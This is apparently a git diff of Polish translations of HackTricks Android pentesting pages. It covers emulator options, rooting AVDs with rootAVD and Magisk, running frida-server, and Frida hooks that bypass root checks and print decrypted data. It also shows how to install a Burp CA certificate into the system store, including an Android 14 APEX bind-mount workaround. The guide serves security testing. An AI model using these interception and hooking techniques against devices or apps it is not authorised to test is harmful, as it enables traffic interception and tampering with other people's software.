> Na macOS narzędzie `avdmanager` znajduje się w `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` a `emulator` w `/Users/<username>/Library/Android/sdk/emulator/emulator`, jeśli są zainstalowane.
|
||||
|
||||
Widzieliśmy już, jak wyświetlić utworzone maszyny wirtualne, ale **można je także wylistować za pomocą**:
|
||||
Widzieliśmy już, jak wypisać utworzone maszyny wirtualne, ale **możesz je także wypisać używając**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
Pixel_2_API_27
|
||||
```
|
||||
Możesz po prostu **uruchomić dowolną utworzoną maszynę wirtualną** używając:
|
||||
Możesz po prostu **uruchomić dowolną utworzoną maszynę wirtualną** za pomocą:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
||||
```
|
||||
Lub używając bardziej zaawansowanych opcji możesz uruchomić maszynę wirtualną taką jak:
|
||||
Albo używając bardziej zaawansowanych opcji, możesz uruchomić maszynę wirtualną, taką jak:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
### Opcje wiersza poleceń
|
||||
|
||||
Jednak istnieje **wiele różnych przydatnych opcji wiersza poleceń**, których możesz użyć do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, a pełną listę możesz [**znaleźć tutaj**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
Jednak istnieje **wiele przydatnych opcji wiersza poleceń**, których możesz użyć do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, ale możesz [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
|
||||
**Rozruch**
|
||||
**Boot**
|
||||
|
||||
- `-snapshot name` : Uruchom snapshot VM
|
||||
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Wyświetl wszystkie zarejestrowane snapshoty
|
||||
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Wyświetl listę wszystkich zapisanych snapshotów
|
||||
|
||||
**Sieć**
|
||||
**Network**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Pozwala wskazać serwery DNS oddzielone przecinkami dla VM.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Pozwala wskazać HTTP proxy do użycia (bardzo przydatne do przechwytywania ruchu przy użyciu Burp)
|
||||
- Jeśli ustawienia proxy nie działają z jakiegoś powodu, spróbuj skonfigurować je wewnętrznie lub użyć aplikacji takiej jak "Super Proxy" lub "ProxyDroid".
|
||||
- `-netdelay 200` : Ustaw emulowaną latencję sieciową w milisekundach.
|
||||
- `-port 5556` : Ustaw numer portu TCP używany dla konsoli i adb.
|
||||
- `-ports 5556,5559` : Ustaw porty TCP używane dla konsoli i adb.
|
||||
- **`-tcpdump /path/dumpfile.cap`** : Zapisz cały ruch do pliku
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Pozwala wskazać serwery DNS dla VM, rozdzielone przecinkami.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Pozwala wskazać HTTP proxy do użycia (bardzo przydatne do przechwytywania ruchu za pomocą Burp)
|
||||
- Jeśli ustawienia proxy z jakiegoś powodu nie działają, spróbuj skonfigurować je wewnętrznie lub użyć aplikacji takiej jak "Super Proxy" lub "ProxyDroid".
|
||||
- `-netdelay 200` : Ustawia emulowaną latencję sieciową w milisekundach.
|
||||
- `-port 5556` : Ustawia numer portu TCP używanego przez konsolę i adb.
|
||||
- `-ports 5556,5559` : Ustawia porty TCP używane przez konsolę i adb.
|
||||
- **`-tcpdump /path/dumpfile.cap`** : Zapisuje cały ruch do pliku
|
||||
|
||||
**System**
|
||||
|
||||
- `-selinux {disabled|permissive}` : Ustaw moduł Security-Enhanced Linux (SELinux) w tryb disabled lub permissive.
|
||||
- `-timezone Europe/Paris` : Ustaw strefę czasową dla urządzenia wirtualnego
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Ustaw tryb emulowanego ekranu dotykowego.
|
||||
- **`-writable-system`** : Użyj tej opcji, aby mieć zapisywalny obraz systemu podczas sesji emulacji. Będziesz musiał także uruchomić `adb root; adb remount`. To bardzo przydatne do instalacji nowego certyfikatu w systemie.
|
||||
- `-selinux {disabled|permissive}` : Ustawia moduł bezpieczeństwa Security-Enhanced Linux na disabled lub permissive na systemie Linux.
|
||||
- `-timezone Europe/Paris` : Ustawia strefę czasową dla urządzenia wirtualnego
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Ustawia emulowany tryb ekranu dotykowego.
|
||||
- **`-writable-system`** : Użyj tej opcji, aby mieć zapisywalny obraz systemu podczas sesji emulacji. Będziesz też musiał uruchomić `adb root; adb remount`. To bardzo przydatne do zainstalowania nowego certyfikatu w systemie.
|
||||
|
||||
## Konfiguracja CLI na Linuxie (SDK/AVD quickstart)
|
||||
## Linux CLI setup (SDK/AVD quickstart)
|
||||
|
||||
Oficjalne narzędzia CLI ułatwiają tworzenie szybkich, debugowalnych emulatorów bez Android Studio.
|
||||
Oficjalne narzędzia CLI ułatwiają tworzenie szybkich, możliwych do debugowania emulatorów bez Android Studio.
|
||||
```bash
|
||||
# Directory layout
|
||||
mkdir -p ~/Android/cmdline-tools/latest
|
||||
@ -216,11 +217,11 @@ adb root
|
||||
adb shell whoami # expect: root
|
||||
```
|
||||
Notatki
|
||||
- Warianty obrazów systemu: google_apis (z możliwością debugowania, pozwala na `adb root`), google_apis_playstore (nie da się uzyskać roota), aosp/default (lekki).
|
||||
- Typy buildów: userdebug często pozwala na `adb root` na obrazach z możliwością debugowania. Obrazy Play Store to buildy produkcyjne i blokują roota.
|
||||
- Na hostach x86_64 pełna emulacja systemu ARM64 nie jest obsługiwana od API 28+. Dla Androida 11+ użyj obrazów Google APIs/Play, które zawierają per-app ARM-to-x86 translation, aby szybko uruchamiać wiele aplikacji przeznaczonych tylko dla ARM.
|
||||
- Warianty obrazów systemu: google_apis (debuggable, pozwala na `adb root`), google_apis_playstore (not rootable), aosp/default (lekki).
|
||||
- Typy buildów: userdebug często pozwala na `adb root` na obrazach z możliwością debugowania. Obrazy Play Store to buildy produkcyjne i blokują root.
|
||||
- Na hostach x86_64 pełna emulacja systemu ARM64 jest nieobsługiwana od API 28+. Dla Android 11+ użyj Google APIs/Play images, które zawierają tłumaczenie ARM→x86 na poziomie aplikacji, aby szybko uruchamiać wiele aplikacji przeznaczonych wyłącznie dla ARM.
|
||||
|
||||
### Migawki z CLI
|
||||
### Snapshoty z CLI
|
||||
```bash
|
||||
# Save a clean snapshot from the running emulator
|
||||
adb -s emulator-5554 emu avd snapshot save my_clean_setup
|
||||
@ -228,20 +229,20 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
|
||||
# Boot from a named snapshot (if it exists)
|
||||
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
|
||||
```
|
||||
## ARM→x86 tłumaczenie binarne (Android 11+)
|
||||
## ARM→x86 translacja binarna (Android 11+)
|
||||
|
||||
Obrazy Google APIs i Play Store na Android 11+ potrafią tłumaczyć binaria aplikacji ARM dla każdego procesu, zachowując resztę systemu natywną (x86/x86_64). Zwykle jest to wystarczająco szybkie, by testować wiele aplikacji przeznaczonych wyłącznie dla ARM na desktopie.
|
||||
Google APIs i obrazy Play Store na Android 11+ mogą translować binaria aplikacji ARM per process, pozostawiając resztę systemu natywną x86/x86_64. Często jest to wystarczająco szybkie, by testować wiele aplikacji dostępnych tylko na ARM na komputerze stacjonarnym.
|
||||
|
||||
> Porada: Preferuj obrazy Google APIs x86/x86_64 podczas pentests. Obrazy Play są wygodne, ale blokują `adb root`; używaj ich tylko, gdy konkretnie potrzebujesz Play services i zaakceptujesz brak root.
|
||||
> Wskazówka: Preferuj obrazy Google APIs x86/x86_64 podczas pentests. Obrazy Play są wygodne, ale blokują `adb root`; używaj ich tylko wtedy, gdy konkretnie potrzebujesz Play services i akceptujesz brak root.
|
||||
|
||||
## Rootowanie urządzenia z Play Store
|
||||
## Rooting urządzenia z Play Store
|
||||
|
||||
Jeśli pobrałeś urządzenie z Play Store, nie będziesz w stanie bezpośrednio uzyskać root i otrzymasz ten komunikat o błędzie
|
||||
Jeśli pobrałeś urządzenie z Play Store, nie będziesz w stanie uzyskać root bezpośrednio i otrzymasz ten komunikat o błędzie
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk) udało mi się uzyskać root (na przykład obejrzyj [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk) udało mi się uzyskać root (np. obejrzyj [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **lub** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Zainstaluj certyfikat Burp
|
||||
|
||||
@ -254,9 +255,9 @@ install-burp-certificate.md
|
||||
|
||||
## Przydatne opcje AVD
|
||||
|
||||
### Wykonaj snapshot
|
||||
### Zrób snapshot
|
||||
|
||||
Możesz **użyć GUI**, aby wykonać snapshot VM w dowolnym momencie:
|
||||
Możesz **skorzystać z GUI**, aby w dowolnym momencie wykonać snapshot maszyny wirtualnej (VM):
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Poradnik Frida
|
||||
# Samouczek Frida
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,8 @@ Zainstaluj **frida tools**:
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Pobierz i zainstaluj** na urządzeniu z Androidem **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ Jednolinijkowe polecenie, aby zrestartować adb w trybie root, połączyć się z urządzeniem, przesłać frida-server, nadać prawa wykonywania i uruchomić go w tle:
|
||||
**Pobierz i zainstaluj** na Androidzie **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
One-liner do zrestartowania adb w trybie root, połączenia się z nim, upload frida-server, nadania exec permissions i uruchomienia go w tle:
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
@ -21,10 +22,10 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Frida server vs. Gadget (root vs. no-root)
|
||||
|
||||
Dwa powszechne sposoby instrumentowania aplikacji Android przy użyciu Frida:
|
||||
Dwa powszechne sposoby instrumentacji aplikacji Android za pomocą Frida:
|
||||
|
||||
- Frida server (rooted devices): Wgraj i uruchom natywny daemon, który pozwala dołączyć do dowolnego procesu.
|
||||
- Frida Gadget (no root): Dołącz Frida jako bibliotekę współdzieloną wewnątrz APK i automatycznie załaduj ją w docelowym procesie.
|
||||
- Frida server (rooted devices): Wgraj i uruchom natywny daemon, który pozwala na dołączenie do dowolnego procesu.
|
||||
- Frida Gadget (no root): Dołącz Frida jako bibliotekę współdzieloną wewnątrz APK i automatycznie ładuj ją w docelowym procesie.
|
||||
|
||||
Frida server (rooted)
|
||||
```bash
|
||||
@ -41,7 +42,7 @@ frida -U -n com.example.app
|
||||
```
|
||||
Frida Gadget (no-root)
|
||||
|
||||
1) Rozpakuj APK, dodaj gadget .so i konfigurację:
|
||||
1) Rozpakuj APK, dodaj gadget .so i plik konfiguracyjny:
|
||||
- Umieść libfrida-gadget.so w lib/<abi>/ (np. lib/arm64-v8a/)
|
||||
- Utwórz assets/frida-gadget.config z ustawieniami ładowania skryptów
|
||||
|
||||
@ -52,8 +53,8 @@ Przykład frida-gadget.config
|
||||
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
|
||||
}
|
||||
```
|
||||
2) Referencuj/załaduj gadget tak, aby był zainicjalizowany wcześnie:
|
||||
- Najprościej: Dodaj mały Java stub wywołujący System.loadLibrary("frida-gadget") w Application.onCreate(), lub użyj istniejącego mechanizmu ładowania bibliotek natywnych.
|
||||
2) Odwołaj/załaduj gadget, aby był zainicjalizowany wcześniej:
|
||||
- Najprościej: Dodaj mały stub w Javie wywołujący System.loadLibrary("frida-gadget") w Application.onCreate(), lub użyj już obecnego mechanizmu ładowania bibliotek natywnych.
|
||||
|
||||
3) Przepakuj i podpisz APK, a następnie zainstaluj:
|
||||
```bash
|
||||
@ -69,38 +70,38 @@ frida-ps -Uai
|
||||
frida -U -n com.example.app
|
||||
```
|
||||
Notatki
|
||||
- Gadget jest wykrywany przez niektóre mechanizmy ochronne; utrzymuj nazwy/ścieżki dyskretne i ładuj późno/lub warunkowo, jeśli to konieczne.
|
||||
- W przypadku aplikacji wzmocnionych, preferuj rooted testing z server + late attach, lub połącz to z ukrywaniem Magisk/Zygisk.
|
||||
- Gadget jest wykrywany przez niektóre mechanizmy ochronne; utrzymuj nazwy/ścieżki dyskretne i ładuj go późno/warunkowo, jeśli to konieczne.
|
||||
- W przypadku utwardzonych aplikacji preferuj testy na urządzeniu z rootem z użyciem server + late attach, lub łącz to z ukrywaniem przez Magisk/Zygisk.
|
||||
|
||||
## Samouczki
|
||||
|
||||
### [Samouczek 1](frida-tutorial-1.md)
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**Źródło**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Kod źródłowy**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**Przejdź do [linku, aby przeczytać](frida-tutorial-1.md).**
|
||||
**Przejdź do [linku, aby to przeczytać](frida-tutorial-1.md).**
|
||||
|
||||
### [Samouczek 2](frida-tutorial-2.md)
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**Źródło**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 & 4)\
|
||||
**APKs i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**Przejdź do [linku, aby przeczytać.](frida-tutorial-2.md)**
|
||||
**Przejdź do[ linku, aby to przeczytać.](frida-tutorial-2.md)**
|
||||
|
||||
### [Samouczek 3](owaspuncrackable-1.md)
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**Źródło**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
|
||||
**Przejdź do [linku, aby przeczytać](owaspuncrackable-1.md).**
|
||||
**Przejdź do [linku, aby to przeczytać](owaspuncrackable-1.md).**
|
||||
|
||||
**Tu znajdziesz więcej świetnych skryptów Frida:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**Możesz znaleźć więcej Awesome Frida scripts tutaj:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Szybkie przykłady
|
||||
|
||||
### Wywoływanie Frida z wiersza poleceń
|
||||
### Calling Frida from command line
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
@ -126,7 +127,7 @@ sys.stdin.read()
|
||||
```
|
||||
### Hooking funkcji bez parametrów
|
||||
|
||||
Hook funkcję `a()` klasy `sg.vantagepoint.a.c`
|
||||
Hook funkcję `a()` w klasie `sg.vantagepoint.a.c`
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
@ -167,9 +168,9 @@ send("Activity HIT!!!")
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
}
|
||||
```
|
||||
### Hooking funkcji z parametrami i pobierania wartości
|
||||
### Hooking funkcji z parametrami i pobieranie wartości
|
||||
|
||||
Hooking funkcji deszyfrującej. Wydrukuj dane wejściowe, wywołaj oryginalną funkcję, aby odszyfrować wejście i na końcu wydrukuj odszyfrowane dane:
|
||||
Hooking funkcji decryption. Wypisz wejście, wywołaj oryginalną funkcję, aby decrypt the input, a na końcu wypisz dane jawne:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -196,7 +197,7 @@ return ret //[B
|
||||
```
|
||||
### Hooking functions i wywoływanie ich z naszym inputem
|
||||
|
||||
Hook funkcję, która przyjmuje string i wywołaj ją z innym stringiem (z [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
Hook a function, który przyjmuje string i wywołaj go z innym stringiem (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
|
||||
|
||||
@ -211,9 +212,9 @@ return ret
|
||||
```
|
||||
### Pobieranie już utworzonego obiektu klasy
|
||||
|
||||
Jeśli chcesz wyciągnąć jakiś atrybut z utworzonego obiektu, możesz użyć tego.
|
||||
Jeśli chcesz wyciągnąć atrybut z już utworzonego obiektu, możesz skorzystać z tego.
|
||||
|
||||
W tym przykładzie zobaczysz, jak pobrać obiekt klasy my_activity i jak wywołać funkcję .secret(), która wydrukuje prywatny atrybut obiektu:
|
||||
W tym przykładzie zobaczysz, jak pobrać obiekt klasy my_activity i jak wywołać funkcję .secret(), która wypisze prywatny atrybut obiektu:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
@ -227,7 +228,7 @@ onComplete: function () {},
|
||||
## Inne samouczki Frida
|
||||
|
||||
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
|
||||
- [Część 1 serii blogowej Advanced Frida Usage: Biblioteki szyfrowania iOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
- [Część 1 serii blogowej Advanced Frida Usage: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
|
||||
|
||||
|
||||
## Źródła
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Install Burp Certificate
|
||||
# Zainstaluj certyfikat Burp
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## System-wide proxy via ADB
|
||||
## Proxy systemowe przez ADB
|
||||
|
||||
Skonfiguruj globalne proxy HTTP, aby wszystkie aplikacje kierowały ruch przez twój interceptor (Burp/mitmproxy):
|
||||
Skonfiguruj globalny proxy HTTP, aby wszystkie aplikacje kierowały ruch przez swój interceptor (Burp/mitmproxy):
|
||||
```bash
|
||||
# Set proxy (device/emulator must reach your host IP)
|
||||
adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
@ -17,16 +17,16 @@ Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (P
|
||||
|
||||
## Na maszynie wirtualnej
|
||||
|
||||
Najpierw musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
Przede wszystkim musisz pobrać certyfikat Der z Burp. Możesz to zrobić w _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
|
||||
|
||||
.png>)
|
||||
|
||||
**Eksportuj certyfikat w formacie Der** i zamień go na formę, którą **Android** będzie w stanie **obsłużyć.** Zwróć uwagę, że **aby skonfigurować certyfikat Burp na maszynie Android w AVD** musisz **uruchomić** tę maszynę **z** opcją **`-writable-system`**.\
|
||||
Na przykład możesz uruchomić ją tak:
|
||||
**Export the certificate in Der format** i przekształćmy go do formatu, który **Android** będzie w stanie **rozpoznać.** Zauważ, że **aby skonfigurować certyfikat Burp na maszynie Android w AVD** musisz **uruchomić** tę maszynę **z** opcją **`-writable-system`**.\
|
||||
Na przykład możesz ją uruchomić tak:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
Następnie, aby **skonfigurować certyfikat burps, wykonaj:**
|
||||
Następnie, aby **skonfigurować certyfikat burps**, wykonaj:
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
@ -37,27 +37,27 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
|
||||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
adb reboot #Now, reboot the machine
|
||||
```
|
||||
Gdy **machine finish rebooting** burp certificate będzie przez nią używany!
|
||||
Gdy **maszyna zakończy ponowne uruchamianie** certyfikat Burp będzie przez nią używany!
|
||||
|
||||
## Korzystanie z Magisc
|
||||
## Using Magisc
|
||||
|
||||
Jeśli **rootowałeś urządzenie z Magisc** (może emulator) i **nie możesz wykonać** poprzednich **kroków** aby zainstalować Burp cert, ponieważ **filesystem jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inne rozwiązanie.
|
||||
Jeśli **rootowałeś urządzenie za pomocą Magisc** (np. emulator), i **nie możesz wykonać** poprzednich **kroków** aby zainstalować certyfikat Burp ponieważ **filesystem jest tylko do odczytu** i nie możesz go zamontować jako zapisywalny, istnieje inny sposób.
|
||||
|
||||
Wyjaśnione w [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) musisz:
|
||||
Wyjaśnione w [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) trzeba:
|
||||
|
||||
1. **Install a CA certificate**: Po prostu **drag&drop** DER Burp certificate **zmieniając rozszerzenie** na `.crt` na mobile aby został zapisany w Downloads folder i przejdź do `Install a certificate` -> `CA certificate`
|
||||
1. **Zainstalować certyfikat CA**: Po prostu **przeciągnij i upuść** DER Burp certificate zmieniając rozszerzenie na `.crt` na urządzeniu mobilnym, tak aby został zapisany w folderze Downloads i przejdź do `Install a certificate` -> `CA certificate`
|
||||
|
||||
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
- Sprawdź, że certyfikat został poprawnie zapisany przechodząc do `Trusted credentials` -> `USER`
|
||||
- Sprawdź, czy certyfikat został poprawnie zapisany, przechodząc do `Trusted credentials` -> `USER`
|
||||
|
||||
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Make it System trusted**: Pobierz Magisc moduł [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **drag&drop go** na telefon, otwórz **Magics app** na telefonie w sekcji **`Modules`**, kliknij **`Install from storage`**, wybierz `.zip` moduł i po instalacji **reboot** telefonu:
|
||||
2. **Uczyń go zaufanym w systemie**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść go** na telefon, otwórz **Magics app** na telefonie, przejdź do sekcji **`Modules`**, kliknij **`Install from storage`**, wybierz moduł `.zip` i po instalacji **zrestartuj** telefon:
|
||||
|
||||
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
- Po reboot, przejdź do `Trusted credentials` -> `SYSTEM` i sprawdź, że Postswigger cert tam jest
|
||||
- Po restarcie, przejdź do `Trusted credentials` -> `SYSTEM` i sprawdź, czy Postswigger cert tam jest
|
||||
|
||||
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
@ -67,13 +67,13 @@ Sprawdź [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting
|
||||
|
||||
## Po Android 14
|
||||
|
||||
W najnowszym wydaniu Android 14 zaobserwowano istotną zmianę w obsłudze system-trusted Certificate Authority (CA) certificates. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami root, co pozwalało na ich natychmiastowe zastosowanie w całym systemie. Jednak w Android 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który z natury jest niemutowalny.
|
||||
W najnowszym wydaniu Android 14 zaobserwowano znaczącą zmianę w obsłudze system-trusted Certificate Authority (CA) certificates. Wcześniej certyfikaty te były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami root, co pozwalało na natychmiastowe zastosowanie w całym systemie. Jednak w Android 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który z natury jest niemutowalny.
|
||||
|
||||
Próby ponownego zamontowania **APEX cacerts path** jako zapisywalnego kończą się niepowodzeniem, ponieważ system nie pozwala na takie operacje. Nawet próby odmontowania lub nadpisania katalogu tymczasowym systemem plików (tmpfs) nie obchodzą niemutowalności; aplikacje nadal odczytują oryginalne dane certyfikatów niezależnie od zmian na poziomie systemu plików. Ta odporność wynika z faktu, że montowanie **`/apex`** jest skonfigurowane z PRIVATE propagation, co zapewnia, że jakiekolwiek modyfikacje wewnątrz katalogu **`/apex`** nie wpływają na inne procesy.
|
||||
Próby ponownego zamontowania ścieżki APEX cacerts jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie pozwala na takie operacje. Nawet próby odmontowania lub nałożenia na katalog tymczasowego systemu plików (tmpfs) nie obejdą niemutowalności; aplikacje nadal będą dostępowały oryginalnych danych certyfikatów niezależnie od zmian na poziomie filesystemu. Ta odporność wynika z tego, że montowanie **`/apex`** jest skonfigurowane z PRIVATE propagation, zapewniając, że jakiekolwiek modyfikacje wewnątrz katalogu **`/apex`** nie wpływają na inne procesy.
|
||||
|
||||
Inicjalizacja Androida obejmuje proces `init`, który przy uruchamianiu systemu operacyjnego także inicjuje proces Zygote. Ten proces jest odpowiedzialny za uruchamianie procesów aplikacji z nową przestrzenią nazw montowania, która zawiera prywatny mount **`/apex`**, izolując w ten sposób zmiany w tym katalogu od innych procesów.
|
||||
Inicjalizacja Androida obejmuje proces `init`, który podczas uruchamiania systemu operacyjnego uruchamia również proces Zygote. Proces ten odpowiada za uruchamianie procesów aplikacji z nową mount namespace, która zawiera prywatny mount **`/apex`**, izolując zmiany w tym katalogu od innych procesów.
|
||||
|
||||
Niemniej jednak istnieje obejście dla tych, którzy potrzebują modyfikować system-trusted CA certificates w katalogu **`/apex`**. Polega ono na ręcznym ponownym zamontowaniu **`/apex`** aby usunąć PRIVATE propagation, czyniąc go zapisywalnym. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`** aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości na oryginalne miejsce w **`/apex`**. Podejście to wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić zastosowanie tych zmian w całym systemie, zaleca się zrestartowanie `system_server`, co efektywnie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
||||
Niemniej jednak istnieje obejście dla tych, którzy muszą zmodyfikować system-trusted CA certificates w katalogu **`/apex`**. Polega ono na ręcznym ponownym zamontowaniu **`/apex`** w celu usunięcia PRIVATE propagation, dzięki czemu staje się zapisywalny. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** w inne miejsce, odmontowanie katalogu **`/apex/com.android.conscrypt`** aby usunąć ograniczenie tylko do odczytu, a następnie przywrócenie zawartości na jej oryginalne miejsce w **`/apex`**. Podejście to wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić zastosowanie tych zmian w całym systemie, zaleca się ponowne uruchomienie `system_server`, co efektywnie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -131,26 +131,26 @@ wait # Launched in parallel - wait for completion here
|
||||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
### Bind-mounting przez NSEnter
|
||||
|
||||
1. **Konfigurowanie katalogu zapisywalnego**: Najpierw tworzy się katalog umożliwiający zapis, montując `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Robi się to za pomocą następującego polecenia:
|
||||
